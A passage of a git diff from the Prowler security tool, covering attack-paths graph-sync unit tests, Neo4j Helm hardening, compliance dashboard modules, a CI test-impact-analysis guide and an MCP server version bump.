"r-2"} - - # Create a generator that yields two batches of Finding instances + # Create a generator that yields two batches of dicts (pre-converted) def findings_generator(): - yield [mock_finding_1] - yield [mock_finding_2] + yield [{"id": "1", "resource_uid": "r-1"}] + yield [{"id": "2", "resource_uid": "r-2"}] config = SimpleNamespace(update_tag=12345) mock_session = MagicMock() @@ -648,7 +1298,7 @@ class TestAttackPathsFindingsHelpers: ), patch( "tasks.jobs.attack_paths.findings.get_provider_resource_label", - return_value="AWSResource", + return_value="_AWSResource", ), ): findings_module.load_findings( @@ -779,17 +1429,17 @@ class TestAttackPathsFindingsHelpers: assert len(findings_data) == 1 finding_result = findings_data[0] - assert finding_result.id == str(finding.id) - assert finding_result.resource_uid == resource.uid - assert finding_result.check_title == "Check title" - assert finding_result.scan_id == str(latest_scan.id) + assert finding_result["id"] == str(finding.id) + assert finding_result["resource_uid"] == resource.uid + assert finding_result["check_title"] == "Check title" + assert finding_result["scan_id"] == str(latest_scan.id) def test_enrich_batch_with_resources_single_resource( self, tenants_fixture, providers_fixture, ): - """One finding + one resource = one output Finding instance""" + """One finding + one resource = one output dict""" tenant = tenants_fixture[0] provider = providers_fixture[0] provider.provider = Provider.ProviderChoices.AWS @@ -863,16 +1513,16 @@ class TestAttackPathsFindingsHelpers: ) assert len(result) == 1 - assert result[0].resource_uid == resource.uid - assert result[0].id == str(finding.id) - assert result[0].status == "FAIL" + assert result[0]["resource_uid"] == resource.uid + assert result[0]["id"] == str(finding.id) + assert result[0]["status"] == "FAIL" def test_enrich_batch_with_resources_multiple_resources( self, tenants_fixture, providers_fixture, ): - """One finding + three resources = three output Finding instances""" + """One finding + three resources = three output dicts""" tenant = tenants_fixture[0] provider = providers_fixture[0] provider.provider = Provider.ProviderChoices.AWS @@ -951,13 +1601,13 @@ class TestAttackPathsFindingsHelpers: ) assert len(result) == 3 - result_resource_uids = {r.resource_uid for r in result} + result_resource_uids = {r["resource_uid"] for r in result} assert result_resource_uids == {r.uid for r in resources} # All should have same finding data for r in result: - assert r.id == str(finding.id) - assert r.status == "FAIL" + assert r["id"] == str(finding.id) + assert r["status"] == "FAIL" def test_enrich_batch_with_resources_no_resources_skips( self, @@ -1034,16 +1684,12 @@ class TestAttackPathsFindingsHelpers: provider.save() scan_id = "some-scan-id" - with ( - patch("tasks.jobs.attack_paths.findings.rls_transaction") as mock_rls, - patch("tasks.jobs.attack_paths.findings.Finding") as mock_finding, - ): + with patch("tasks.jobs.attack_paths.findings.rls_transaction") as mock_rls: # Create generator but don't iterate findings_module.stream_findings_with_resources(provider, scan_id) # Nothing should be called yet mock_rls.assert_not_called() - mock_finding.objects.filter.assert_not_called() def test_load_findings_empty_generator(self, providers_fixture): """Empty generator should not call neo4j""" @@ -1069,7 +1715,7 @@ class TestAttackPathsFindingsHelpers: ), patch( "tasks.jobs.attack_paths.findings.get_provider_resource_label", - return_value="AWSResource", + return_value="_AWSResource", ), ): findings_module.load_findings(mock_session, empty_gen(), provider, config) @@ -1077,19 +1723,8 @@ class TestAttackPathsFindingsHelpers: mock_session.run.assert_not_called() -class TestProviderConfigAccessors: - def test_get_deprecated_provider_resource_label_known_provider(self): - assert get_deprecated_provider_resource_label("aws") == "AWSResource" - - def test_get_deprecated_provider_resource_label_unknown_provider(self): - assert ( - get_deprecated_provider_resource_label("unknown") - == "UnknownProviderResource" - ) - - class TestAddResourceLabel: - def test_add_resource_label_applies_both_labels(self): + def test_add_resource_label_applies_private_label(self): mock_session = MagicMock() first_result = MagicMock() @@ -1104,40 +1739,228 @@ class TestAddResourceLabel: assert mock_session.run.call_count == 2 query = mock_session.run.call_args_list[0].args[0] assert "_AWSResource" in query - assert "AWSResource" in query + assert "AWSResource" not in query.replace("_AWSResource", "") + + +def _make_session_ctx(session, call_order=None, name=None): + """Create a mock context manager wrapping a mock session.""" + ctx = MagicMock() + if call_order is not None and name is not None: + ctx.__enter__ = MagicMock( + side_effect=lambda: (call_order.append(f"{name}:enter"), session)[1] + ) + ctx.__exit__ = MagicMock( + side_effect=lambda *a: (call_order.append(f"{name}:exit"), False)[1] + ) + else: + ctx.__enter__ = MagicMock(return_value=session) + ctx.__exit__ = MagicMock(return_value=False) + return ctx class TestSyncNodes: - def test_sync_nodes_adds_both_labels(self): - mock_source_session = MagicMock() - mock_target_session = MagicMock() - + def test_sync_nodes_adds_private_label(self): row = { "internal_id": 1, "element_id": "elem-1", "labels": ["SomeLabel"], "props": {"key": "value"}, } - mock_source_session.run.side_effect = [[row], []] - source_ctx = MagicMock() - source_ctx.__enter__ = MagicMock(return_value=mock_source_session) - source_ctx.__exit__ = MagicMock(return_value=False) - - target_ctx = MagicMock() - target_ctx.__enter__ = MagicMock(return_value=mock_target_session) - target_ctx.__exit__ = MagicMock(return_value=False) + mock_source_1 = MagicMock() + mock_source_1.run.return_value = [row] + mock_target = MagicMock() + mock_source_2 = MagicMock() + mock_source_2.run.return_value = [] with patch( "tasks.jobs.attack_paths.sync.graph_database.get_session", - side_effect=[source_ctx, target_ctx], + side_effect=[ + _make_session_ctx(mock_source_1), + _make_session_ctx(mock_target), + _make_session_ctx(mock_source_2), + ], ): - total = sync_module.sync_nodes("source-db", "target-db", "prov-1") + total = sync_module.sync_nodes( + "source-db", "target-db", "tenant-1", "prov-1" + ) assert total == 1 - query = mock_target_session.run.call_args.args[0] + query = mock_target.run.call_args.args[0] assert "_ProviderResource" in query - assert "ProviderResource" in query + assert "_Tenant_tenant1" in query + assert "_Provider_prov1" in query + + def test_sync_nodes_source_closes_before_target_opens(self): + row = { + "internal_id": 1, + "element_id": "elem-1", + "labels": ["SomeLabel"], + "props": {"key": "value"}, + } + + call_order = [] + + src_1 = MagicMock() + src_1.run.return_value = [row] + tgt = MagicMock() + src_2 = MagicMock() + src_2.run.return_value = [] + + with patch( + "tasks.jobs.attack_paths.sync.graph_database.get_session", + side_effect=[ + _make_session_ctx(src_1, call_order, "source1"), + _make_session_ctx(tgt, call_order, "target"), + _make_session_ctx(src_2, call_order, "source2"), + ], + ): + sync_module.sync_nodes("src-db", "tgt-db", "t-1", "p-1") + + assert call_order.index("source1:exit") < call_order.index("target:enter") + + def test_sync_nodes_pagination_with_batch_size_1(self): + row_a = { + "internal_id": 1, + "element_id": "elem-1", + "labels": ["LabelA"], + "props": {"a": 1}, + } + row_b = { + "internal_id": 2, + "element_id": "elem-2", + "labels": ["LabelB"], + "props": {"b": 2}, + } + + src_1 = MagicMock() + src_1.run.return_value = [row_a] + src_2 = MagicMock() + src_2.run.return_value = [row_b] + src_3 = MagicMock() + src_3.run.return_value = [] + tgt_1 = MagicMock() + tgt_2 = MagicMock() + + with ( + patch( + "tasks.jobs.attack_paths.sync.graph_database.get_session", + side_effect=[ + _make_session_ctx(src_1), + _make_session_ctx(tgt_1), + _make_session_ctx(src_2), + _make_session_ctx(tgt_2), + _make_session_ctx(src_3), + ], + ), + patch("tasks.jobs.attack_paths.sync.SYNC_BATCH_SIZE", 1), + ): + total = sync_module.sync_nodes("src", "tgt", "t-1", "p-1") + + assert total == 2 + assert src_1.run.call_args.args[1]["last_id"] == -1 + assert src_2.run.call_args.args[1]["last_id"] == 1 + + def test_sync_nodes_empty_source_returns_zero(self): + src = MagicMock() + src.run.return_value = [] + + with patch( + "tasks.jobs.attack_paths.sync.graph_database.get_session", + side_effect=[_make_session_ctx(src)], + ) as mock_get_session: + total = sync_module.sync_nodes("src", "tgt", "t-1", "p-1") + + assert total == 0 + assert mock_get_session.call_count == 1 + + +class TestSyncRelationships: + def test_sync_relationships_source_closes_before_target_opens(self): + row = { + "internal_id": 1, + "rel_type": "HAS", + "start_element_id": "s-1", + "end_element_id": "e-1", + "props": {}, + } + + call_order = [] + + src_1 = MagicMock() + src_1.run.return_value = [row] + tgt = MagicMock() + src_2 = MagicMock() + src_2.run.return_value = [] + + with patch( + "tasks.jobs.attack_paths.sync.graph_database.get_session", + side_effect=[ + _make_session_ctx(src_1, call_order, "source1"), + _make_session_ctx(tgt, call_order, "target"), + _make_session_ctx(src_2, call_order, "source2"), + ], + ): + sync_module.sync_relationships("src", "tgt", "p-1") + + assert call_order.index("source1:exit") < call_order.index("target:enter") + + def test_sync_relationships_pagination_with_batch_size_1(self): + row_a = { + "internal_id": 1, + "rel_type": "HAS", + "start_element_id": "s-1", + "end_element_id": "e-1", + "props": {"a": 1}, + } + row_b = { + "internal_id": 2, + "rel_type": "CONNECTS", + "start_element_id": "s-2", + "end_element_id": "e-2", + "props": {"b": 2}, + } + + src_1 = MagicMock() + src_1.run.return_value = [row_a] + src_2 = MagicMock() + src_2.run.return_value = [row_b] + src_3 = MagicMock() + src_3.run.return_value = [] + tgt_1 = MagicMock() + tgt_2 = MagicMock() + + with ( + patch( + "tasks.jobs.attack_paths.sync.graph_database.get_session", + side_effect=[ + _make_session_ctx(src_1), + _make_session_ctx(tgt_1), + _make_session_ctx(src_2), + _make_session_ctx(tgt_2), + _make_session_ctx(src_3), + ], + ), + patch("tasks.jobs.attack_paths.sync.SYNC_BATCH_SIZE", 1), + ): + total = sync_module.sync_relationships("src", "tgt", "p-1") + + assert total == 2 + assert src_1.run.call_args.args[1]["last_id"] == -1 + assert src_2.run.call_args.args[1]["last_id"] == 1 + + def test_sync_relationships_empty_source_returns_zero(self): + src = MagicMock() + src.run.return_value = [] + + with patch( + "tasks.jobs.attack_paths.sync.graph_database.get_session", + side_effect=[_make_session_ctx(src)], + ) as mock_get_session: + total = sync_module.sync_relationships("src", "tgt", "p-1") + + assert total == 0 + assert mock_get_session.call_count == 1 class TestInternetAnalysis: diff --git a/contrib/k8s/helm/prowler-app/values.yaml b/contrib/k8s/helm/prowler-app/values.yaml index 46258351ad..f855210262 100644 --- a/contrib/k8s/helm/prowler-app/values.yaml +++ b/contrib/k8s/helm/prowler-app/values.yaml @@ -558,9 +558,9 @@ neo4j: # Neo4j Configuration (yaml format) config: dbms_security_procedures_allowlist: "apoc.*" - dbms_security_procedures_unrestricted: "apoc.*" + dbms_security_procedures_unrestricted: "" apoc_config: - apoc.export.file.enabled: "true" - apoc.import.file.enabled: "true" + apoc.export.file.enabled: "false" + apoc.import.file.enabled: "false" apoc.import.file.use_neo4j_config: "true" diff --git a/dashboard/compliance/rbi_cyber_security_framework_azure.py b/dashboard/compliance/rbi_cyber_security_framework_azure.py new file mode 100644 index 0000000000..cecafbce53 --- /dev/null +++ b/dashboard/compliance/rbi_cyber_security_framework_azure.py @@ -0,0 +1,20 @@ +import warnings + +from dashboard.common_methods import get_section_containers_rbi + +warnings.filterwarnings("ignore") + + +def get_table(data): + aux = data[ + [ + "REQUIREMENTS_ID", + "REQUIREMENTS_DESCRIPTION", + "CHECKID", + "STATUS", + "REGION", + "ACCOUNTID", + "RESOURCEID", + ] + ] + return get_section_containers_rbi(aux, "REQUIREMENTS_ID") diff --git a/dashboard/compliance/rbi_cyber_security_framework_gcp.py b/dashboard/compliance/rbi_cyber_security_framework_gcp.py new file mode 100644 index 0000000000..cecafbce53 --- /dev/null +++ b/dashboard/compliance/rbi_cyber_security_framework_gcp.py @@ -0,0 +1,20 @@ +import warnings + +from dashboard.common_methods import get_section_containers_rbi + +warnings.filterwarnings("ignore") + + +def get_table(data): + aux = data[ + [ + "REQUIREMENTS_ID", + "REQUIREMENTS_DESCRIPTION", + "CHECKID", + "STATUS", + "REGION", + "ACCOUNTID", + "RESOURCEID", + ] + ] + return get_section_containers_rbi(aux, "REQUIREMENTS_ID") diff --git a/dashboard/compliance/secnumcloud_3_2_alibabacloud.py b/dashboard/compliance/secnumcloud_3_2_alibabacloud.py new file mode 100644 index 0000000000..2d5517aed6 --- /dev/null +++ b/dashboard/compliance/secnumcloud_3_2_alibabacloud.py @@ -0,0 +1,24 @@ +import warnings + +from dashboard.common_methods import get_section_containers_format3 + +warnings.filterwarnings("ignore") + + +def get_table(data): + aux = data[ + [ + "REQUIREMENTS_ID", + "REQUIREMENTS_DESCRIPTION", + "REQUIREMENTS_ATTRIBUTES_SECTION", + "CHECKID", + "STATUS", + "REGION", + "ACCOUNTID", + "RESOURCEID", + ] + ].copy() + + return get_section_containers_format3( + aux, "REQUIREMENTS_ATTRIBUTES_SECTION", "REQUIREMENTS_ID" + ) diff --git a/dashboard/compliance/secnumcloud_3_2_azure.py b/dashboard/compliance/secnumcloud_3_2_azure.py new file mode 100644 index 0000000000..2d5517aed6 --- /dev/null +++ b/dashboard/compliance/secnumcloud_3_2_azure.py @@ -0,0 +1,24 @@ +import warnings + +from dashboard.common_methods import get_section_containers_format3 + +warnings.filterwarnings("ignore") + + +def get_table(data): + aux = data[ + [ + "REQUIREMENTS_ID", + "REQUIREMENTS_DESCRIPTION", + "REQUIREMENTS_ATTRIBUTES_SECTION", + "CHECKID", + "STATUS", + "REGION", + "ACCOUNTID", + "RESOURCEID", + ] + ].copy() + + return get_section_containers_format3( + aux, "REQUIREMENTS_ATTRIBUTES_SECTION", "REQUIREMENTS_ID" + ) diff --git a/dashboard/compliance/secnumcloud_3_2_gcp.py b/dashboard/compliance/secnumcloud_3_2_gcp.py new file mode 100644 index 0000000000..2d5517aed6 --- /dev/null +++ b/dashboard/compliance/secnumcloud_3_2_gcp.py @@ -0,0 +1,24 @@ +import warnings + +from dashboard.common_methods import get_section_containers_format3 + +warnings.filterwarnings("ignore") + + +def get_table(data): + aux = data[ + [ + "REQUIREMENTS_ID", + "REQUIREMENTS_DESCRIPTION", + "REQUIREMENTS_ATTRIBUTES_SECTION", + "CHECKID", + "STATUS", + "REGION", + "ACCOUNTID", + "RESOURCEID", + ] + ].copy() + + return get_section_containers_format3( + aux, "REQUIREMENTS_ATTRIBUTES_SECTION", "REQUIREMENTS_ID" + ) diff --git a/dashboard/compliance/secnumcloud_3_2_oraclecloud.py b/dashboard/compliance/secnumcloud_3_2_oraclecloud.py new file mode 100644 index 0000000000..2d5517aed6 --- /dev/null +++ b/dashboard/compliance/secnumcloud_3_2_oraclecloud.py @@ -0,0 +1,24 @@ +import warnings + +from dashboard.common_methods import get_section_containers_format3 + +warnings.filterwarnings("ignore") + + +def get_table(data): + aux = data[ + [ + "REQUIREMENTS_ID", + "REQUIREMENTS_DESCRIPTION", + "REQUIREMENTS_ATTRIBUTES_SECTION", + "CHECKID", + "STATUS", + "REGION", + "ACCOUNTID", + "RESOURCEID", + ] + ].copy() + + return get_section_containers_format3( + aux, "REQUIREMENTS_ATTRIBUTES_SECTION", "REQUIREMENTS_ID" + ) diff --git a/dashboard/pages/compliance.py b/dashboard/pages/compliance.py index 20395539e5..c1da9f611e 100644 --- a/dashboard/pages/compliance.py +++ b/dashboard/pages/compliance.py @@ -80,6 +80,8 @@ def load_csv_files(csv_files): result = result.replace("_M65", " - M65") if "ALIBABACLOUD" in result: result = result.replace("_ALIBABACLOUD", " - ALIBABACLOUD") + if "ORACLECLOUD" in result: + result = result.replace("_ORACLECLOUD", " - ORACLECLOUD") results.append(result) unique_results = set(results) diff --git a/docs/developer-guide/check-metadata-guidelines.mdx b/docs/developer-guide/check-metadata-guidelines.mdx index 7bc335c3de..bac16f6fc0 100644 --- a/docs/developer-guide/check-metadata-guidelines.mdx +++ b/docs/developer-guide/check-metadata-guidelines.mdx @@ -211,7 +211,7 @@ Also is important to keep all code examples as short as possible, including the | email-security | Ensures detection and protection against phishing, spam, spoofing, etc. | | forensics-ready | Ensures systems are instrumented to support post-incident investigations. Any digital trace or evidence (logs, volume snapshots, memory dumps, network captures, etc.) preserved immutably and accompanied by integrity guarantees, which can be used in a forensic analysis | | software-supply-chain | Detects or prevents tampering, unauthorized packages, or third-party risks in software supply chain | -| e3 | M365-specific controls enabled by or dependent on an E3 license (e.g., baseline security policies, conditional access) | -| e5 | M365-specific controls enabled by or dependent on an E5 license (e.g., advanced threat protection, audit, DLP, and eDiscovery) | +| e3 | M365 and Azure Entra checks enabled by or dependent on an E3 license (e.g., baseline security policies, conditional access) | +| e5 | M365 and Azure Entra checks enabled by or dependent on an E5 license (e.g., advanced threat protection, audit, DLP, and eDiscovery) | | privilege-escalation | Detects IAM policies or permissions that allow identities to elevate their privileges beyond their intended scope, potentially gaining administrator or higher-level access through specific action combinations | -| ec2-imdsv1 | Identifies EC2 instances using Instance Metadata Service version 1 (IMDSv1), which is vulnerable to SSRF attacks and should be replaced with IMDSv2 for enhanced security | \ No newline at end of file +| ec2-imdsv1 | Identifies EC2 instances using Instance Metadata Service version 1 (IMDSv1), which is vulnerable to SSRF attacks and should be replaced with IMDSv2 for enhanced security | diff --git a/docs/developer-guide/test-impact-analysis.mdx b/docs/developer-guide/test-impact-analysis.mdx new file mode 100644 index 0000000000..f2f82fe8cb --- /dev/null +++ b/docs/developer-guide/test-impact-analysis.mdx @@ -0,0 +1,315 @@ +--- +title: 'Test Impact Analysis' +--- + +Test impact analysis (TIA) determines which tests to run based on the files changed in a pull request. Instead of running the full test suite on every pull request, TIA maps changed files to the specific Prowler SDK, API, and end-to-end (E2E) tests that cover them. This approach reduces continuous integration (CI) time and resource usage while maintaining confidence that relevant code paths are tested. + +## Architecture + +### Components + +| Component | Path | Role | +|-----------|------|------| +| Configuration | `.github/test-impact.yml` | Defines ignored, critical, and module path mappings | +| Analysis engine | `.github/scripts/test-impact.py` | Python script that evaluates changed files against the configuration | +| Reusable workflow | `.github/workflows/test-impact-analysis.yml` | GitHub Actions reusable workflow that orchestrates the analysis | +| E2E consumer | `.github/workflows/ui-e2e-tests-v2.yml` | Consumes TIA outputs to run targeted Playwright tests | + +### Flow Diagram + +``` +PR opened/updated + | + v ++-------------------------------+ +| tj-actions/changed-files | Gets list of changed files from PR ++-------------------------------+ + | + v ++-------------------------------+ +| test-impact.py | +| | +| 1. Filter ignored paths | docs/**, *.md, .gitignore, etc. +| 2. Check critical paths | prowler/lib/**, ui/lib/**, .github/workflows/** +| 3. Match modules | Map remaining files to module definitions +| 4. Categorize tests | Split into sdk-tests, api-tests, ui-e2e ++-------------------------------+ + | + v ++-------------------------------+ +| GitHub Actions Outputs | +| | +| run-all: true/false | +| sdk-tests: "tests/providers/aws/**" +| api-tests: "api/src/backend/api/tests/**" +| ui-e2e: "ui/tests/providers/**" +| modules: "sdk-aws,ui-providers" +| has-tests: true/false | +| has-sdk-tests: true/false | +| has-api-tests: true/false | +| has-ui-e2e: true/false | ++-------------------------------+ + | + v ++-------------------------------+ +| Consumer Workflows | +| | +| ui-e2e-tests-v2.yml: | +| - Path resolution pipeline | +| - Playwright execution | ++-------------------------------+ +``` + +## Configuration Reference + +The configuration lives in `.github/test-impact.yml` and contains three sections. + +### `ignored` — Paths That Never Trigger Tests + +Files matching these patterns are filtered out before any analysis takes place. This section is intended for non-code files. + +```yaml +ignored: + paths: + - docs/** + - "*.md" + - .gitignore + - skills/** + - ui/tests/setups/** # E2E auth setup helpers (not runnable tests) +``` + +### `critical` — Paths That Trigger All Tests + +If any changed file matches a critical path, the system short-circuits and outputs `run-all: true`. All downstream consumers then run their complete test suites. + +```yaml +critical: + paths: + - prowler/lib/** # SDK core + - ui/lib/** # UI shared utilities + - ui/playwright.config.ts # Test infrastructure + - .github/workflows/** # CI changes + - .github/test-impact.yml # This config itself +``` + +### `modules` — Path-to-Test Mappings + +Each module maps source file patterns to the tests that cover them. + +```yaml +- name: ui-providers # Unique identifier + match: # Source file glob patterns + - ui/components/providers/** + - ui/actions/providers/** + - ui/app/**/providers/** + - ui/tests/providers/** # Test file changes also trigger themselves + tests: [] # SDK/API unit test patterns (empty for UI modules) + e2e: # Playwright E2E test patterns + - ui/tests/providers/** +``` + +#### Module Schema + +| Field | Type | Description | +|-------|------|-------------| +| `name` | `string` | Unique module identifier (for example, `sdk-aws`, `ui-providers`, `api-views`) | +| `match` | `list[glob]` | Source file patterns that trigger this module | +| `tests` | `list[glob]` | Prowler SDK (`tests/`) or API (`api/`) unit test patterns to run | +| `e2e` | `list[glob]` | UI E2E test patterns (`ui/tests/`) to run | + +#### Module Categories + +- **`sdk-*`:** Provider and lib modules. These only produce `tests` output, not `e2e`. +- **`api-*`:** API views, serializers, filters, and role-based access control (RBAC). These produce `tests` and sometimes `e2e` (API changes can affect UI flows). +- **`ui-*`:** UI feature modules. These only produce `e2e` output, not `tests`. + +## Path Resolution Pipeline + +The E2E consumer workflow (`.github/workflows/ui-e2e-tests-v2.yml`, lines 202–253) transforms the `ui-e2e` output from glob patterns into paths that Playwright can execute. This transformation follows a multi-step shell pipeline. + +### Step 1: Check Run Mode + +```bash +if [[ "${RUN_ALL_TESTS}" == "true" ]]; then + pnpm run test:e2e # Run everything, skip pipeline +fi +``` + +### Step 2: Strip the `ui/` Prefix and `**` Suffix + +```bash +# "ui/tests/providers/**" -> "tests/providers/" +TEST_PATHS=$(echo "$E2E_TEST_PATHS" | sed 's|ui/||g' | sed 's|\*\*||g') +``` + +### Step 3: Filter Out Setup Paths + +```bash +# Remove auth setup helpers (not runnable test suites) +TEST_PATHS=$(echo "$TEST_PATHS" | grep -v '^tests/setups/') +``` + +### Step 4: Safety Net for Bare `tests/` + +If the pattern `ui/tests/**` was present in the output (from a critical path or a broad module like `ui-shadcn`), it resolves to bare `tests/` after stripping. This would cause Playwright to discover setup files in `tests/setups/`, so it gets expanded instead: + +```bash +if echo "$TEST_PATHS" | grep -qx 'tests/'; then + # Expand to specific subdirs, excluding tests/setups/ + for dir in tests/*/; do + [[ "$dir" == "tests/setups/" ]] && continue + SPECIFIC_DIRS="${SPECIFIC_DIRS}${dir}" + done +fi +``` + +### Step 5: Empty Directory Check + +Directories that do not contain any `.spec.ts` or `.test.ts` files are skipped. This handles forward-looking patterns where a module is configured but tests have not been written yet. + +```bash +if find "$p" -name '*.spec.ts' -o -name '*.test.ts' | head -1 | grep -q .; then + VALID_PATHS="${VALID_PATHS}${p}" +else + echo "Skipping empty test directory: $p" +fi +``` + +### Step 6: Execute Playwright + +```bash +pnpm exec playwright test $TEST_PATHS +# For example: pnpm exec playwright test tests/providers/ tests/scans/ +``` + +## Playwright Project Mapping + +Playwright discovers tests by scanning the directories passed to it. The `playwright.config.ts` file defines projects with `testMatch` patterns that control which spec files each project claims: + +``` +tests/providers/providers.spec.ts -> "providers" project -> depends on admin.auth.setup +tests/scans/scans.spec.ts -> "scans" project -> depends on admin.auth.setup +tests/sign-in-base/*.spec.ts -> "sign-in-base" -> no auth dependency +tests/auth/*.spec.ts -> "auth" -> no auth dependency +tests/sign-up/sign-up.spec.ts -> "sign-up" -> no auth dependency +tests/invitations/invitations.spec.ts -> "invitations" -> depends on admin.auth.setup +``` + +Auth setup projects (`admin.auth.setup`, `manage-scans.auth.setup`, and others) create authenticated browser state files. Projects that declare them as `dependencies` wait for the setup to complete before running. + +When TIA runs only `tests/providers/`, Playwright still automatically runs `admin.auth.setup` because the `providers` project declares it as a dependency. + +## Edge Cases and Known Considerations + +### Forward-Looking Patterns (Empty Test Directories) + +A module can reference `ui/tests/attack-paths/**` before any tests exist there. The empty directory check (step 5) gracefully skips it instead of failing. + +### Broad Patterns and the Safety Net + +Modules like `ui-shadcn` and `api-views` list every E2E test suite explicitly to avoid using `ui/tests/**`. If a broad pattern does produce bare `tests/`, the safety net expands it to specific subdirectories, excluding `tests/setups/`. + +### Setup Files and Auth Dependencies + +`ui/tests/setups/**` is listed in the `ignored` section and also filtered in the path resolution pipeline. This double protection ensures setup files are never passed as test targets to Playwright. Auth setups run only when declared as project dependencies. + +### Critical Path Triggering Run-All + +Changes to `.github/workflows/**` or `.github/test-impact.yml` trigger `run-all: true`. This means editing any workflow file (even unrelated ones) runs the full test suite. This behavior is intentional — CI infrastructure changes should be validated broadly. + +### Unmatched Files + +Files that do not match any ignored, critical, or module pattern produce no test output. The `has-tests` flag is set to `false` and consumer workflows skip entirely via the `skip-e2e` job. + +## Adding New Test Modules + +To add tests for a new UI feature (for example, `dashboards`): + +1. **Add the module to `.github/test-impact.yml`:** + +```yaml +- name: ui-dashboards + match: + - ui/components/dashboards/** + - ui/actions/dashboards/** + - ui/app/**/dashboards/** + - ui/tests/dashboards/** + tests: [] + e2e: + - ui/tests/dashboards/** +``` + +2. **Create the test directory and spec file:** + +``` +ui/tests/dashboards/dashboards.spec.ts +``` + +3. **Add a Playwright project in `ui/playwright.config.ts`:** + +```typescript +{ + name: "dashboards", + testMatch: "dashboards.spec.ts", + dependencies: ["admin.auth.setup"], // if tests need auth +}, +``` + +4. **Register E2E paths in shared UI modules (if applicable):** + + If the feature uses shared UI components, add the E2E path to the `ui-shadcn` module so that changes to shared components also trigger dashboard tests: + +```yaml +- name: ui-shadcn + match: + - ui/components/shadcn/** + - ui/components/ui/** + e2e: + - ui/tests/dashboards/** # Add here + # ... existing paths +``` + +5. **Register E2E paths in API modules (if applicable):** + + If API changes affect this feature, add the E2E path to the relevant `api-*` module (for example, `api-views`). + +## Troubleshooting + +### Tests Not Running When Expected + +1. Check whether the changed file matches an `ignored` pattern. The script logs `[IGNORED]` to stderr. +2. Verify the file matches a module's `match` pattern. To test locally, run: + ```bash + python .github/scripts/test-impact.py path/to/changed/file.ts + ``` +3. Confirm the module has non-empty `e2e` (for E2E) or `tests` (for unit tests). +4. Check the `has-ui-e2e` output — the consumer workflow gates on this flag. + +### Unexpected Auth Setup Errors + +Auth setup projects run automatically when a test project declares them as `dependencies`. If auth failures occur: + +- **Verify secrets:** Confirm that the `E2E_ADMIN_USER` and `E2E_ADMIN_PASSWORD` secrets are set. +- **Check setup file existence:** Ensure the auth setup file exists in `ui/tests/setups/`. +- **Validate test match patterns:** Ensure the `testMatch` pattern in `playwright.config.ts` correctly matches the setup file. + +### "No Tests Found" Errors + +This typically means the path resolution pipeline produced valid directories but Playwright could not match any spec files to a project: + +- **Check project configuration:** Verify that `playwright.config.ts` has a project with a `testMatch` pattern for the spec files in that directory. +- **Verify file naming:** Confirm the spec file naming matches the expected pattern (for example, `feature.spec.ts`). + +### "No Runnable E2E Test Paths After Filtering Setups" + +All resolved paths were under `tests/setups/`. This indicates the module's `e2e` patterns only point to setup files, which is a configuration error. The module should be updated to point to actual test directories. + +### Debugging Locally + +```bash +# See what the analysis engine produces for specific files +python .github/scripts/test-impact.py ui/components/providers/some-file.tsx + +# Output goes to stderr (analysis log) and GITHUB_OUTPUT (structured output) +# Without the GITHUB_OUTPUT env var, results print to stderr only +``` diff --git a/docs/getting-started/installation/prowler-app.mdx b/docs/getting-started/installation/prowler-app.mdx index 8e01179387..e9a88f708e 100644 --- a/docs/getting-started/installation/prowler-app.mdx +++ b/docs/getting-started/installation/prowler-app.mdx @@ -121,8 +121,8 @@ To update the environment file: Edit the `.env` file and change version values: ```env -PROWLER_UI_VERSION="5.19.0" -PROWLER_API_VERSION="5.19.0" +PROWLER_UI_VERSION="5.21.0" +PROWLER_API_VERSION="5.21.0" ``` diff --git a/mcp_server/CHANGELOG.md b/mcp_server/CHANGELOG.md index 88f3b72a75..0a91ce06a7 100644 --- a/mcp_server/CHANGELOG.md +++ b/mcp_server/CHANGELOG.md @@ -2,6 +2,12 @@ All notable changes to the **Prowler MCP Server** are documented in this file. +## [0.5.0] (Prowler v5.21.0) + +### 🚀 Added + +- Attack Path tool to get Neo4j DB schema [(#10321)](https://github.com/prowler-cloud/prowler/pull/10321) + ## [0.4.0] (Prowler v5.19.0) ### 🚀 Added diff --git a/mcp_server/prowler_mcp_server/__init__.py b/mcp_server/prowler_mcp_server/__init__.py index 5fcfa74c55..fe7af2dcea 100644 --- a/mcp_server/prowler_mcp_server/__init__.py +++ b/mcp_server/prowler_mcp_server/__init__.py @@ -5,7 +5,7 @@ This package provides MCP tools for accessing: - Prowler Hub: All security artifacts (detections, remediations and frameworks) supported by Prowler """ -__version__ = "0.4.0" +__version__ = "0.5.0" __author__ = "Prowler Team" __email__ = "engineering@prowler.com" diff --git a/mcp_server/prowler_mcp_server/prowler_app/models/attack_paths.py b/mcp_server/prowler_mcp_server/prowler_app/models/attack_paths.py index bc048918aa..cfd704eeca 100644 --- a/mcp_server/prowler_mcp_server/prowler_app/models/attack_paths.py +++ b/mcp_server/prowler_mcp_server/prowler_app/models/attack_paths.py @@ -118,6 +118,51 @@ class AttackPathScansListResponse(BaseModel): ) +class AttackPathCartographySchema(MinimalSerializerMixin, BaseModel): + """Cartography graph schema metadata for a completed attack paths scan. + + Contains the schema URL and provider info needed to fetch the full + Cartography schema markdown for openCypher query generation. + """ + + model_config = ConfigDict(frozen=True) + + id: str = Field(description="Unique identifier for the schema resource") + provider: str = Field(description="Cloud provider type (aws, azure, gcp, etc.)") + cartography_version: str = Field(description="Version of the Cartography schema") + schema_url: str = Field(description="URL to the Cartography schema page on GitHub") + raw_schema_url: str = Field( + description="Raw URL to fetch the Cartography schema markdown content" + ) + schema_content: str | None = Field( + default=None, + description="Full Cartography schema markdown content (populated after fetch)", + ) + + @classmethod + def from_api_response( + cls, response: dict[str, Any] + ) -> "AttackPathCartographySchema": + """Transform JSON:API schema response to model. + + Args: + response: Full API response with data and attributes + + Returns: + AttackPathCartographySchema instance + """ + data = response.get("data", {}) + attributes = data.get("attributes", {}) + + return cls( + id=data["id"], + provider=attributes["provider"], + cartography_version=attributes["cartography_version"], + schema_url=attributes["schema_url"], + raw_schema_url=attributes["raw_schema_url"], + ) + + class AttackPathQueryParameter(MinimalSerializerMixin, BaseModel): """Parameter definition for an attack paths query. diff --git a/mcp_server/prowler_mcp_server/prowler_app/tools/attack_paths.py b/mcp_server/prowler_mcp_server/prowler_app/tools/attack_paths.py index 8d7119b9cc..ff9b8045a4 100644 --- a/mcp_server/prowler_mcp_server/prowler_app/tools/attack_paths.py +++ b/mcp_server/prowler_mcp_server/prowler_app/tools/attack_paths.py @@ -8,6 +8,7 @@ through cloud infrastructure relationships. from typing import Any, Literal from prowler_mcp_server.prowler_app.models.attack_paths import ( + AttackPathCartographySchema, 